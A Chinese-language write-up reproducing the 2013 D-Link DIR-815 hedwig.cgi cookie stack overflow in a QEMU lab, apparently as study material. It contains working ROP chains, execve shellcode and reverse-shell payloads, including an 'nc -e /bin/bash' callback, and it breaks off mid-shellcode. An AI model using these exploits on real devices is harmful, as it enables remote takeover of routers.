CNVD-2013-11625复现记录

记录复现漏洞的学习过程

0x00 漏洞信息

D-Link DIR-645是一款无线路由器设备。

D-Link DIR-645 “post_login.xml”,”hedwig.cgi”,”authentication.cgi” 不正确过滤用户提交的参数数据,允许远程攻击者利用漏洞提交特制请求触发缓冲区溢出,可使应用程序停止响应,造成拒绝服务攻击。

0x01 准备工作

固件下载地址:legacyfiles.us.dlink.com - /DIR-815/REVA/FIRMWARE/(进去后下载版本最低的 DIR-815_REVA_FIRMWARE_v1.01.ZIP,需要挂梯子)

安装binwalk 的 sasquatch 工具 :IoT环境搭建与固件分析 | 坠入星野的月🌙

IDA插件mipsrop(用于搜寻Mips架构下的gadget):zhefox/MipsROPSeracher-python3: A tool for search MipsROPChain in python3

需要了解到的mips架构下的相关知识:

(注:这里直接搬运了两位师傅博客里的讲解:[CNVD-2013-11625 DIR-815 栈溢出漏洞 | Hexo](https://khighl.github.io/2025/06/11/CNVD-2013-11625 DIR-815 栈溢出漏洞/) 和 CNVD-2013-11625 | 云梦

mips架构两个很有意思的特性是

  • 在调用叶子函数和非叶子函数时对于寄存器的处理问题

  • 流水线指令集的相关特性,主要体现在“分支延迟效应”和“缓存不一致性”

函数特性

叶子函数

  • 当一个函数内部,没有调用其他函数时,这个函数称为叶子函数
    • 叶子函数的返回地址在被调用时便存储在$ra中,函数返回时直接通过jr $ra跳回

非叶子函数

  • 当一个函数调用了其他函数时,这个函数称为非叶子函数
  • 非叶子函数的返回地址会在程序开始(prologue)通过sw被存贮在栈上,在函数结束(epilogue)返回时会通过lw操作将返回地址弹回$ra,再jr $ra返回
  • 只有非叶子函数可以通过栈溢出覆盖返回地址

如果在某个函数中使用到了 $s0 ~ $s7中的某些保存寄存器(包括$fp) ,则也会在prologue处保存下来,并在epilogue处取出。

需要注意的是,$s0 ~ $s7, $fp, $sp在栈中存放的地址依次递增,因此,很容易想到,我们可以在栈溢出的同时,顺带着控制到$s0 ~ $s7的值。

或者说,如果某些函数在调用过程中使用了$ *寄存器,它也会先通过sw操作将这些寄存器原本的值存在栈上,在返回时lw恢复寄存器的值

所以通过栈溢出我们不仅可以控制返回地址,还可以控制大量的寄存器。

流水线指令集特性

  • 在 MIPS 架构中,当你执行一条 跳转(如 j / jalr)或条件分支(如 beq / bne)指令时,**跳转/分支发生后,**仍然会执行紧接着的下一条指令(也就是那一行代码!),无论是否跳转成功!
  • 在 MIPS 架构中,由于其支持 数据缓存(D-Cache) 和 指令缓存(I-Cache),这两个缓存是连个独立的,对内存的映射,当我们将shellcode写入栈中,数据缓存中的内容已经被更新成了我们写入的shellcode,但是指令缓存中的内容仍然是栈中原本的数据,如果此时就跳转会导致shellcode未被执行.保险起见,我们可以调用sleep函数给予这两个缓存足够的时间同步

提取固件:

使用 binwalk -Me 分离出文件系统:

1
binwalk -Me ./DIR-815A1_FW101SSB03.bin

我们就会得到一个完整的文件系统

找寻官方说漏洞所在文件”hedwig.cgi”,注意自身的目录所在

1
find ./ -name "hedwig.cgi"

发现它仅仅是一个指向上级目录中elf文件的软链接,那就将指向的/htdocs/cgibin拿出来逆向分析

0x02 逆向分析

把cgibin丢进IDA里

在main()里找到hedwig.cgi

进去hedwigcgi_main()之后

它先是读取环境变量REQUEST_METHOD,要求必须是POST请求,如果是,就进入cgibin_parse_request()

cgibin_parse_request()这个函数会使用一参的函数指针对url进行处理,提取出几个环境变量,这几个变量对和栈溢出关系不大,但是不能没有,否则不会进行下去。

接着往下走,就到了sess_get_uid(),这个函数会提取出cookie

将cookie以”=”为界分割为两段,前一段存贮在v2结构体中,后一段存储在v4结构体中

然后比较第一部分是不是”uid”,如果是的话将第二部分拼接到a1中(a1为在main函数中通过sobj_new()创建的结构体,初始内容为空)

返回后,hedwigcgi_main()函数调用了sprintf(),没有检查cookie的长度,这里的string就是v4中的字符串,也就是cookie中uid=之后的内容,是可以由用户自由控制的,然而v27数组的大小仅有1024,因此,很容易造成缓冲区溢出。

造成了第一次栈溢出,但是我们接着往下看会发现在两个检测后还有一个sprintf的栈溢出,且在这个过程中strings的内容是没有发生变化的,因为仍然是v27数组的溢出,两次拼接的字符串又一样,所以这里能覆盖上一次sprintf的内容。

如果要到第二个sprintf的话,就需要过这两个判断:

这第一个判断需要有/var/tmp这个目录,这个在真机上是有的,因此为了更真实地模拟环境,我们需要在解压后得到的文件系统内创建一个/var/tmp文件夹,这样cgibin才能在此路径下创建temp.xml文件用于数据的写入。

第二个判断haystack的值,那我们就看看那里会改动haystack,

其中有四个交叉引用都是对haystack进行lw(加载)操作,只有一处是对它的sw(保存)

说明只有最后一处是对haystack的赋值

只要这个函数被调用,haystack就会被赋值,所以我们现在开始查找对这个函数的交叉引用。

在这判断语句之前,只有cgibin_parse_request()的第一个参数sub_409A6C()中可对其操作:

那就回过头去,再细细分析cgibin_parse_request()的逻辑,主要想法就是去看哪里用到了第一个参数sub_409A6C(),即这里的变量a1

就在这个嵌套循环部分里,会先调用off_42C014[2]也就是sub_403B10()函数

接着进去看sub_403B10()

这里的a4是&v14[12],即CONTENT_TYPE[12],环境变量未被比较的那部分,如果与”x-www-form-urlencoded”相同,则调用sub_402FFC(a1)

到这一步,需要牢记我们的目标是什么,是想要抓住第一个参数sub_409A6C()也就是a1

哪里调用到了我们的sub_409A6C()(也就是a1)我们就往哪里走,所以这一步的条件判断是我们需要满足使其成立的

进一步走到sub_402FFC()后,并没有找到关于a1的调用,但是调用了sub_402B40(),它的参数是对sub_403B10()中的int变量的取地址,那么它

就有可能会访问到sub_403B10()中的其他参数

在sub_402B40()里发现了,对函数指针的调用,其中在sub_402B40()的a1就是sub_403B10()的v11的地址,以此为基址,3为偏移进行了解引用

回到sub_403B10()中观察几个变量的相对位置,会发现sub_402B40()的a1[3]就是sub_403B10()的v14,而sub_402FFC()的第一个参数就是sub_409A6C(),它被赋给了v14

所以到这里我们想要控制全局变量haystack不为0,来绕过检查,只需要满足CONTENT_TYPE=”application/“+”x-www-form-urlencoded”=”application/x-www-form-urlencoded”

那接下来终于顺利走到了栈溢出的部分了

但是在写脚本的时候还要注意的是

在sub_402FFC()中有对POST_content的内容的读取,读取后在sub_402B40(&v11, (int)buf_1, v8)中处理(POST_content读入了buf_1)

这里对POST_content的处理方式与对cookie的处理方式相似,也是初始化了两个结构体,将=前后的内容分别读入两个结构体,然后判断这两个结构体中的内容是否不为空

所以POST_content必须满足^(.+?)=(.+)$

整个 POST_content 必须是 键=值 格式,键和值都不能为空,并且 只允许出现一个等号。

0x03 编写exp

MIPS架构下的栈溢出肯定也是需要通过构造ROP链来getshell的,不过由于MIPS有个特性,即无法开NX保护,这样就有了两种构造ROP链的方式:第一种就是纯ROP链,通过调用system函数来getshell;第二种就是通过构造ROP链,跳转至读入到栈/bss段等处的shellcode执行。在实际应用中,最常用的还是通过ROP + shellcode的方式来getshell。

QEMU 用户级复现

QEMU 用户级层面的漏洞复现不需要进行仿真,但相比之下,需要进行仿真的系统级复现更加直观、更符合现实场景,这里主要是介绍 QEMU 用户级层面的漏洞复现方式

IDA静态分析结束,接下来可以用gdb来调试,顺便验证一下IDA里显示的溢出长度是否正确

首先打开虚拟机的路由器文件系统根目录

生成 2000 个字符的 payload 文件,用来测试 uid 溢出到栈上返回地址所需的字节数:

1
cyclic 2000 > payload

创建以下 run.sh 脚本,通过 QEMU 用户模式启动 /htdocs/cgibin 程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash

INPUT="icyice=pwner" #创建INPUT变量作为POST_content,满足^(.+?)=(.+)$
LEN=$(echo -n "$INPUT" | wc -c) #计算$INPUT的长度
cookie="uid=`cat payload`" #将cookie设置为uid={payload},payaload中是'a'*2000

echo $INPUT | qemu-mipsel-static -L ./ -0 "hedwig.cgi" \ #通过管道符(|)将$INPUT作为POST_context传输给./htdocs/cgibin,并设置agrv[0]="hedwig.cgi"
-E REQUEST_METHOD="POST" \ #指定请求方式为POST
-E CONTENT_LENGTH=$LEN \ #设置LENTH环境变量
-E CONTENT_TYPE="application/x-www-form-urlencoded" \ #设置CONTENT_TYPE环境变量为刚刚逆向分析得到的字符串
-E HTTP_COOKIE=$cookie \ #设置cookie环境变量为设置好的载荷
-E REQUEST_URI="2333" \ #设置REQUEST_URI环境变量为2333(只要不为空即可)
-g 1234 \ #开发1234端口等待gdb连接
./htdocs/cgibin #指定运行的elf为目标文件

运行run.sh脚本,此时我们在另一个端口开gdb连接1234端口,即可开始对./htdocs/cgibin进行远程调试

可以看到本机开启了 1234 端口:

然后使用本机的 gdb-multiarch 连接 gdbserver:

1
2
3
gdb-multiarch
(gdb-multiarch) set architecture mips
(gdb-multiarch) target remote 127.0.0.1:1234

此时我们进入了调试界面,但是发现 QEMU 用户模式连上 pwndbg 时,vmmap 无法看到 libc 的基地址

这个设备是没有开ALSR保护,所以libc固定,我们想要获取libc可以通过查询已经完成延迟绑定的got表计算libc_base

这里找到strcmp的libc真实地址,在路由器文件系统的 /lib 文件夹内,找到其所使用的 libc 文件:libc.so.0

利用 objdump 查找 memset() 函数的偏移地址:

1
objdump -T ./libc.so.0 | grep strcmp

则 libc 基地址为:0x3ff6cd10 - 0x34d10 = 0x3ff38000(如果计算结果最后三位不是 000 的话,那就说明算错了)

接下来就是 GDB 执行到 hedwigcgi_main() 函数结束将要返回的地方,观察返回地址来确定溢出的长度:

我直接按c到溢出部分,显示返回地址 0x646b6161 不合法,cyclic -l 得到溢出到返回地址的长度为 1009

向用户态 QEMU 传递 payload 参数

由于 QEMU 用户级复现不需要仿真,我们只需要用 qemu-mipsel-static 运行 /htdocs/cgibin 程序,然后将 payload 作为参数传递

poc 如下:

1. 纯 ROP 链,即构造 system(“/bin/sh”) 来 getshell

这里是system地址末两位是\x00,而sprintf会被\x00截断,因此采用的方法是:读进去system_addr - 1,再找到addiu …, 1的gadget对其操作后再跳转过去。

利用mipsrop(zhefox/MipsROPSeracher-python3: A tool for search MipsROPChain in python3)来寻找所需的gadget

里面的stackfinder()/tail()/system()等选项很便于寻找一些gadget,也可以使用如mipsrop.find(“li .*, 1”)的形式,通过.*进行模糊匹配:

在python栏中输入相关语法查找所需的gadget,这里已经拿到了libc_base,可以在libuClibc-0.9.30.1.so文件里找

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context(os="linux", arch="mips", log_level="debug")

libc_base = 0x3ff38000
system = libc_base + 0x53200
bin_sh = libc_base+ 0x5a448

payload = b'a'*0x3cd
payload += p32(system - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x159F4) # s1 move $t9, $s0 (=> jalr $t9)
payload += b'a'*4
payload += p32(bin_sh) # s3
payload += b'a'*(4*2) # s4 | s5
payload += p32(libc_base + 0x32A98) # s6 addiu $s0, 1 (=> jalr $s1)
payload += b'a'*(4*2)
payload += p32(libc_base + 0x13F8C) # ra move $a0, $s3 (=> jalr $s6)

payload = b"uid=" + payload
post_content = "icyice=pwner"

io = process(b"""
qemu-mipsel-static -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=12 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
./htdocs/cgibin
""", shell = True)

io.send(post_content)
io.interactive()

payload的编写逻辑:

覆盖位置 写入值 含义
$s0 system - 1 system 地址减 1
$s1 libc + 0x159F4 gadget:move $t9, $s0; jalr $t9
$s2 aaaa(无用) 占位
$s3 bin_sh “/bin/sh”字符串指针
$s4, $s5 aaaa(无用) 占位
$s6 libc + 0x32A98 gadget:addiu $s0, 1; …; jalr $s1
$s7, $fp aaaa(无用) 占位
$ra libc + 0x13F8C gadget:move $a0, $s3; …; jalr $s6

ROP 链执行流程:

函数返回时,所有寄存器从栈上恢复,然后跳转到 $ra。执行顺序如下:

第一步 → $ra(gadget @ 0x13F8C)

1
2
move $a0, $s3    # $a0 = $s3 = "/bin/sh" 地址(设置第一个参数)
jalr $s6 # 跳转到 $s6

第二步 → $s6(gadget @ 0x32A98)

1
2
3
addiu $s0, 1     # $s0 = (system-1) + 1 = system 的正确地址
...
jalr $s1 # 跳转到 $s1

第三步 → $s1(gadget @ 0x159F4)

1
2
move $t9, $s0    # $t9 = $s0 = system()
jalr $t9 # 调用 system("/bin/sh")

此时$a0已经指向 “/bin/sh”,$t9指向 system,于是成功执行 system(“/bin/sh”),拿到 shell。

2. 通过 shellcode 来 getshell(由于 MIPS 架构是无法开启 NX 保护的,因此可以使用 ret2shellcode,但需要注意 shellcode 中不能存在 b’\x00’ 等字符防止导致 sprintf 被截断)

MIPS 的函数返回用 jr $ra,但 MIPS 有分支延迟槽,而且不能直接跳到栈上执行(需要先把栈地址放到寄存器里再跳转)。所以需要多个 gadget 串联。

第一段 ROP:调用 sleep(1) 刷新缓存
1
2
3
4
5
payload += p32(libc_base + 0x436D0)  # s1 → gadget: move $t9, $s3; ... jalr $t9
payload += b'a'*4 # s2(占位)
payload += p32(libc_base + 0x56BD0) # s3 → sleep 函数地址
payload += b'a'*(4*5) # s4–s7 + padding
payload += p32(libc_base + 0x57E50) # ra → gadget: li $a0, 1; ... jalr $s1

执行流程:

  1. 函数返回时跳到 $ra(0x57E50):li $a0, 1 然后 jalr $s1
  2. 跳到 $s1(0x436D0):move $t9, $s3 然后 jalr $t9
  3. 跳到 $s3(0x56BD0):即 sleep(1)

为什么要调用 sleep? MIPS 使用指令缓存(I-cache)和数据缓存(D-cache)。栈上写入的 shellcode 在数据缓存中,指令缓存可能还是旧数据。调用 sleep 会触发内核上下文切换,使 cache 刷新/同步,确保之后跳转到栈上的 shellcode 时执行的是正确的指令。

第二段 ROP:跳转到栈上 shellcode
1
2
3
4
payload += b'a'*0x18                  # sleep 返回后的栈帧填充
payload += b'a'*(4*4) # s0–s3
payload += p32(libc_base + 0x37E6C) # s4 → gadget: move $t9, $a1; jalr $t9
payload += p32(libc_base + 0x3B974) # ra → gadget: addiu $a1, $sp, 0x18; jalr $s4

执行流程:

  1. sleep 返回后跳到 $ra(0x3B974):addiu $a1, $sp, 0x18(把 $sp+0x18 的地址放入 $a1,这正是 shellcode 在栈上的位置),然后 jalr $s4
  2. 跳到 $s4(0x37E6C):move $t9, $a1; jalr $t9
  3. 最终跳到栈上的 shellcode 执行

四、Shellcode:执行 /bin/sh
1
2
payload += b'a'*0x18    # 对齐到 $sp+0x18 的位置
payload += shellcode

Shellcode 的汇编逻辑:

1
2
3
4
5
6
7
8
9
10
slti $a2, $zero, -1       # $a2 = 0(envp = NULL)
li $t7, 0x69622f2f # "//bi"
sw $t7, -12($sp) # 写入栈
li $t6, 0x68732f6e # "n/sh"
sw $t6, -8($sp) # 拼出 "//bin/sh\x00"
sw $zero, -4($sp) # 字符串结尾 NULL
la $a0, -12($sp) # $a0 = 指向 "//bin/sh" 的指针(argv[0])
slti $a1, $zero, -1 # $a1 = 0(argv = NULL)
li $v0, 4011 # 系统调用号 4011 = execve
syscall 0x40404 # 触发系统调用
syscall 后面的数字是一个20 位的 code 字段,对比机器码

MIPS syscall 指令的编码格式是:

1
000000 [20-bit code] 001100

如果用 syscall 0:

1
2
000000 00000000000000000000 001100
= 0x00 0x00 0x00 0x0C ← 含有三个 \x00

如果用 syscall 0x40404:

1
2
000000 01000000010000000100 001100
= 0x01 0x01 0x04 0x0C ← 没有 \x00

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
context(os="linux", arch="mips", log_level="debug")

libc_base = 0x3ff38000
payload = b'a'*0x3cd
payload += b'a'*4
payload += p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x56BD0) # s3 sleep
payload += b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1)

payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4)

shellcode = asm('''
slti $a2, $zero, -1
li $t7, 0x69622f2f
sw $t7, -12($sp)
li $t6, 0x68732f6e
sw $t6, -8($sp)
sw $zero, -4($sp)
la $a0, -12($sp)
slti $a1, $zero, -1
li $v0, 4011
syscall 0x40404
''')
payload += b'a'*0x18
payload += shellcode

payload = b"uid=" + payload
post_content = "icyice=pwner"

io = process(b"""
qemu-mipsel-static -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=12 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
./htdocs/cgibin
""", shell = True)

io.send(post_content)
io.interactive()

QEMU 系统级复现

环境搭建

通过 busybox 程序查看路由器架构:

首先下载 MIPS32 架构的 QEMU 内核和镜像文件,我这里是通过wegt下载的:

1
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2 https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta

注意:

MIPS32 架构有 Debian Squeeze 和 Debian Wheezy 两种镜像:

  • Squeeze 中的软件包和库通常比 Wheezy 中的旧,因此 Squeeze 适合运行需要特定旧版本库或依赖的应用程序
  • Wheezy 适合需要更好的性能、更好的硬件支持或更新的软件包的场景

内核镜像文件 vmlinux 有 4kc 和 5kc 两种版本:4kc 为 32 位,5kc 为 64 位

另外,与 ARM 架构不同,MIPS32 的仿真没有 RAM 磁盘映像文件 initrd.img

使用 qemu-system-mipsel 来启动 QEMU 虚拟机,命令如下:

1
2
3
4
5
6
7
8
sudo qemu-system-mipsel \
-M malta \
-kernel ./vmlinux-3.2.0-4-4kc-malta \
-hda ./debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic \
-net tap,ifname=tap0,script=no,downscript=no \
-nographic

启动成功后,账号和密码都是 root:

如果报错:sudo: qemu-system-mipsel: command not found

安装 QEMU 对 MIPS 架构的支持。

1
sudo apt install qemu-system-mips

然后配置虚拟网卡,在kali里创建一个 net.sh 脚本,并写入如下内容:

1
2
3
4
5
6
#!/bin/sh
sudo brctl addbr br0 # 添加一座名为 br0 的网桥
sudo ifconfig br0 192.168.2.3/24 up # 启用 br0 接口
sudo tunctl -t tap0 -u root # 创建一个只许 root 访问的 tap0 接口
sudo ifconfig tap0 192.168.2.1/24 up # 启用 tap0 接口
sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口

赋予执行权限并运行该脚本:(每次重启 kali 后都需要重新配置一次)

1
2
sudo chmod +x net.sh
./net.sh

如果报错TUNSETIFF: Device or resource busy:

这是最常见的原因。之前启动的 QEMU 虚拟机可能还在后台运行,持有 tap0 的文件描述符:

1
ps aux | grep qemu

如果发现有残留的 QEMU 进程,先 kill 掉:

1
sudo kill -9 <PID>

或者直接杀掉所有 QEMU 进程:

1
sudo killall -9 qemu-system-mipsel

杀掉进程后再清理网络接口

按顺序执行:

1
2
3
4
5
sudo ip link set tap0 down
sudo brctl delif br0 tap0 # 先从网桥移除
sudo ip tuntap del tap0 mode tap
sudo ifconfig br0 down
sudo brctl delbr br0

确认清理干净

1
ip link show | grep -E "tap|br0"

如果没有输出,说明已经清理成功。

然后重新运行 net.sh

1
sudo ./net.sh

然后这里重启 QEMU 虚拟机:

1
2
3
4
5
6
7
8
sudo qemu-system-mipsel \
-M malta \
-kernel ./vmlinux-3.2.0-4-4kc-malta \
-hda ./debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic \
-net tap,ifname=tap0,script=no,downscript=no \
-nographic

在 QEMU 虚拟机中设置 ip 地址,注意与 tap0 在同一网段:(每次重启 QEMU 虚拟机后都需要重新配置一次)

1
(root@debian-mipsel) ifconfig eth0 192.168.2.2/24 up

配置后 QEMU 虚拟机的 ip 地址为 192.168.2.2,测试一下能否与 Kali 的 192.168.2.1 相互 ping 通:

将文件系统打包并通过 scp 命令上传到 QEMU 虚拟机:

1
2
tar -czvf DIR-815A1_FW101SSB03_rootfs.tar.gz squashfs-root
sudo scp DIR-815A1_FW101SSB03_rootfs.tar.gz root@192.168.2.2:~/

PS:由于之前用户级复现都是在~/…/IOT/CNVD-2013-11625/_DIR-815A1_FW101SSB03.bin.extracted/squashfs-root下进行的,所以这里打包文件系统的时候,需要注意把我们自己产生的文件移一下qwq,别一起打包了

如果 scp 命令报错:

1
2
Unable to negotiate with 192.168.2.2 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
scp: Connection closed

这表示 SSH 客户端和服务器之间没有匹配的主机密钥类型,通常是因为服务器只支持旧的 ssh-rsa 和 ssh-dss 密钥类型,而 SSH 客户端配置不再接受这些类型的密钥

改用如下命令:

1
sudo scp -o HostKeyAlgorithms=+ssh-rsa DIR-815A1_FW101SSB03_rootfs.tar.gz root@192.168.2.2:~/

结果接着报错:

再继续使用如下命令,删除旧 key :

1
sudo ssh-keygen -R 192.168.2.2

删除旧 key 后,重新上传:

1
sudo scp -o HostKeyAlgorithms=+ssh-rsa DIR-815A1_FW101SSB03_rootfs.tar.gz root@192.168.2.2:~/

在 QEMU 虚拟机中解压:

1
(root@debian-mipsel) tar -xzvf DIR-815A1_FW101SSB03_rootfs.tar.gz

在路由器文件系统的根目录,新建一个 HTTP 服务的配置文件 http_conf:

因为 QEMU 虚拟机中没有 vi 和 vim 等,但可以使用 nano,这里以 cat 作为示例,cat > 命令使用 ctrl + D 保存并退出

1
2
cd squashfs-root
cat > http_conf

写入如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On # 开启 log
ErrorLog /log # log 文件

Tuning {
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}

Control {
Types {
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials {
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External {
/usr/sbin/phpcgi { php }
}
}

Server {
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 # 网卡
Address 192.168.2.2 # qemu 的 ip 地址
Port "4321" # 对应 web 访问端口
Virtual {
AnyHost
Control {
Alias /
Location /htdocs/web
IndexNames { index.php }
External {
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control {
Alias /HNAP1
Location /htdocs/HNAP1
External {
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}

在 Kali 虚拟机中新建一个脚本 forwarding.sh,用于开启物理机的网络地址转换(NAT)和 IP 转发(防止后续在 init.sh 脚本中启动 httpd 服务时出现问题),写入如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT

在 Kali 中执行该脚本:

1
2
sudo chmod +x forwarding.sh
./forwarding.sh

紧接着,在路由器文件系统的根目录下,继续新建一个 init.sh 脚本:

1
2
cd squashfs-root
cat > init.sh

写入如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/bin/bash

# 由于真机不存在地址随机化,因此这里关闭地址随机化
echo 0 > /proc/sys/kernel/randomize_va_space

# 复制配置和二进制文件
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /

# 备份 /etc,防止后续操作改变 /etc 文件夹中的内容导致下一次启动 QEMU 虚拟机出现问题
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /

# 复制必要的库
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/

# 删除旧的 CGI 脚本
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap

# 创建符号链接
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap

# 根据前面配置的 http_conf 文件,启动 HTTP 服务
./httpd -f http_conf

赋予 init.sh 执行权限,并运行:

1
2
chmod +x init.sh
./init.sh

访问 http://192.168.2.2:4321/hedwig.cgi,可以看到HTTP服务已开启:

直接浏览器访问提示不支持的 HTTP 请求:”unsupported HTTP request”

最后,在退出 QEMU 虚拟机之前,需要先创建一个 fin.sh 脚本:

1
2
cd squashfs-root
cat > fin.sh

写入如下内容:

1
2
3
4
#!/bin/bash
rm -rf /etc
mv /etc_bak/etc /etc
rm -rf /etc_bak

每次退出 QEMU 虚拟机器之前,都执行一下 fin.sh 脚本,恢复刚刚 init.sh 脚本中更改过的 /etc 文件夹,避免下一次启动 QEMU 时出现问题:

1
2
chmod +x fin.sh
./fin.sh

然后这里有两种方法可以来测试我们的poc是否正确

向 QEMU 虚拟机上传 payload

这种方式我们直接将 payload 写入文件,然后上传到 QEMU 虚拟机,通过设置环境变量来读取 payload 作为 uid,从而触发漏洞反弹 shell

先把本地的gdbserver传上去

1
sudo scp -o HostKeyAlgorithms=+ssh-rsa -r gdbserver root@192.168.2.2:~/squashfs-root/

在路由器文件系统里,新建一个 run.sh 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash
export CONTENT_LENGTH="12"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
echo "icyice=pwner" | ./gdbserver 127.0.0.1:6666 /htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI

增加执行权限后运行 run.sh:

1
2
chmod +x run.sh
./run.sh

在kali里用 gdb-multiarch 远程连接

1
target remote 192.168.2.2:6666

连接成功后,在main函数下一个断点,c过去就可以通过vmmap看到libc_base=0x77f34000:

  1. 纯 ROP 链,构造 system(“/bin/sh”) 来 getshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

cmd = b'nc -e /bin/bash 192.168.2.1 8888' # 反弹 shell

libc_base = 0x77f34000

payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd

fd = open("payload", "wb")
fd.write(payload)
fd.close()
  1. 通过 shellcode 来 getshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

libc_base = 0x77f34000

payload = b'a'*0x3cd
payload += b'a'*4
payload += p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x56BD0) # s3 sleep
payload += b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1)

payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4)

shellcode = asm('''
slti $a0, $zero, 0xFFFF
li $v0, 4006
syscall 0x42424

slti $a0, $zero, 0x1111
li $v0, 4006
syscall 0x42424

li $t4, 0xFFFFFFFD
not $a0, $t4
li $v0, 4006
syscall 0x42424

li $t4, 0xFFFFFFFD
not $a0, $t4
not $a1, $t4
slti $a2, $zero, 0xFFFF
li $v0, 4183
syscall 0x42424

andi $a0, $v0, 0xFFFF
li $v0, 4041
syscall 0x42424
li $v0, 4041
syscall 0x42424

lui $a1, 0xB821 # Port: 8888
ori $a1, 0xFF01
addi $a1, $a1, 0x0101
sw $a1, -8($sp)

li $a1, 0x0102A8C0 # IP: 192.168.2.1
sw $a1, -4($sp)
addi $a1, $sp, -8

